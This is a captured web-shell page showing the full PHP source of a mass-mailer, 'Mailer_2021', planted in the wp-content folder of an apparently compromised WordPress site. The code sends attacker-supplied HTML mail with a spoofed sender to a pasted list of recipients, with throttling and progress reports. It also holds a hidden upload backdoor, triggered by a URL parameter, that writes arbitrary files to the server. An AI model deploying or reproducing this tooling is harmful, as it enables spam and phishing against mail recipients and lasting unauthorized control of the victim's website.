HOME


sh-3ll 1.0
DIR:/home/idolaotomotif/public_html/wp-content/
Upload File :
Current File : /home/idolaotomotif/public_html/wp-content/axxxfull.php7
<?php
@set_time_limit(0);
// Configuración inicial de variables para evitar avisos de PHP
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$subject = $_SERVER["HTTP_HOST"] ?? 'Sin Asunto';
$nombre = "lokomania";
$de = "[email protected]";
$ellos = "[email protected]";

if (isset($_POST['Enoc'])) {
    $message = $_POST['html'] ?? '';
    $subject = $_POST['assunto'] ?? '';
    $de = $_POST['de'] ?? '';
    $nombre = $_POST['RealName'] ?? '';
    $ellos = $_POST['ellos'] ?? '';

    // Limpieza moderna de slashes
    if (function_exists('get_magic_quotes_gpc') && @get_magic_quotes_gpc()) {
        $message = stripslashes($message);
    }
}
?>
<html>
<head>
    <title>Mailer_2021-Piwin3tRlZ</title>
</head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
    <br>
    <table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal"> 
    <tr>
        <td>
        <table border="0" bgcolor="#FFFFFF" width="95%">
        <tr>
            <td>
            <table border="0" width="100%">
            <tr>
                <td width="359">Email: <input name="de" type="text" class="form" id="de" size="30" value="<?php echo htmlspecialchars($de); ?>"></td>
                <td>Nombre: <input name="RealName" type="text" class="form" id="RealName" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td>
            </tr>
            </table>
            </td>
        </tr>
        <tr>
            <td>Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<?php echo htmlspecialchars($subject); ?>"></td>
        </tr>
        <tr>
            <td height="18" bgcolor="#C0C0C0"></td>
        </tr>
        <tr>
            <td>
            <table border="0" width="100%">
            <tr>
                <td><textarea name="html" cols="66" rows="10" id="html"><?php echo htmlspecialchars($message); ?></textarea></td>
                <td><textarea rows="10" name="ellos" cols="35"><?php echo htmlspecialchars($ellos); ?></textarea></td>
            </tr>
            </table>
            </td>
        </tr>
        <tr>
            <td><center><br><input type="submit" name="Enoc" value="Enviar"></center><br>
            <?php
            // Lógica de carga de archivos (solo si se activa por URL)
            if (isset($_GET['sec']) && $_GET['sec'] == 'yess') {
                echo '<form action="" method="post" enctype="multipart/form-data">
                    <input name="archivo" type="file" size="35" />
                    <input name="enviar" type="submit" value="Upload File" />
                    <input name="action" type="hidden" value="upload" />     
                </form>';

                if (isset($_POST["action"]) && $_POST["action"] == "upload") {
                    $archivo = $_FILES["archivo"]['name'];
                    if ($archivo != "" && move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . $archivo)) {
                        echo "Archivo subido: <b>" . htmlspecialchars($archivo) . "</b>";
                    } else {
                        echo "Error al subir el archivo";
                    }
                }
            }

            if (!isset($_POST['Enoc'])) { exit; }

            // Procesamiento de Emails
            $divisor = isset($_GET['c']) ? "," : "\n";
            $emails = array_filter(array_map('trim', explode($divisor, $ellos)));
            $son = count($emails);

            // Headers optimizados
            $header = "MIME-Version: 1.0\r\n";
            $header .= "Content-type: text/html; charset=iso-8859-1\r\n";
            $header .= "From: " . $nombre . " <" . $de . ">\r\n";
            $header .= "Reply-To: " . $de . "\r\n";
            $header .= "X-Priority: 3\r\n";
            $header .= "X-Mailer: PHP/" . phpversion();

            $i = 0;
            $voy = 1;

            foreach ($emails as $mail) {
                if (empty($mail)) continue;

                // Control de tiempo/pausa
                if (isset($_GET['time'], $_GET['cant'], $_GET['notf'])) {
                    if ($i > 0 && $i % (int)$_GET['cant'] == 0) {
                        echo "----------------------------------> espera " . (int)$_GET['time'] . " segs...<br>\n";
                        flush();
                        @mail($_GET['notf'], $subject, $message, $header);
                        sleep((int)$_GET['time']);
                    }
                }

                $message_personalizado = str_replace('%email%', $mail, $message);
                
                if (@mail($mail, $subject, $message_personalizado, $header)) {
                    echo "<font color=blue face=verdana size=1> " . $voy . " de " . $son . "  :-) " . htmlspecialchars($mail) . " enviado...</font><br>\n";
                } else {
                    echo "<font color=red face=verdana size=1> " . $voy . " de " . $son . " :-( " . htmlspecialchars($mail) . " error!!</font><br>\n";
                }
                flush();
                $i++;
                $voy++;
            }
            echo "<script>alert('---Proceso Terminado---');</script>";
            ?>
            </td>
        </tr>
        </table>
        </td>
    </tr>
    </table>
</form>
</center>
</body>
</html>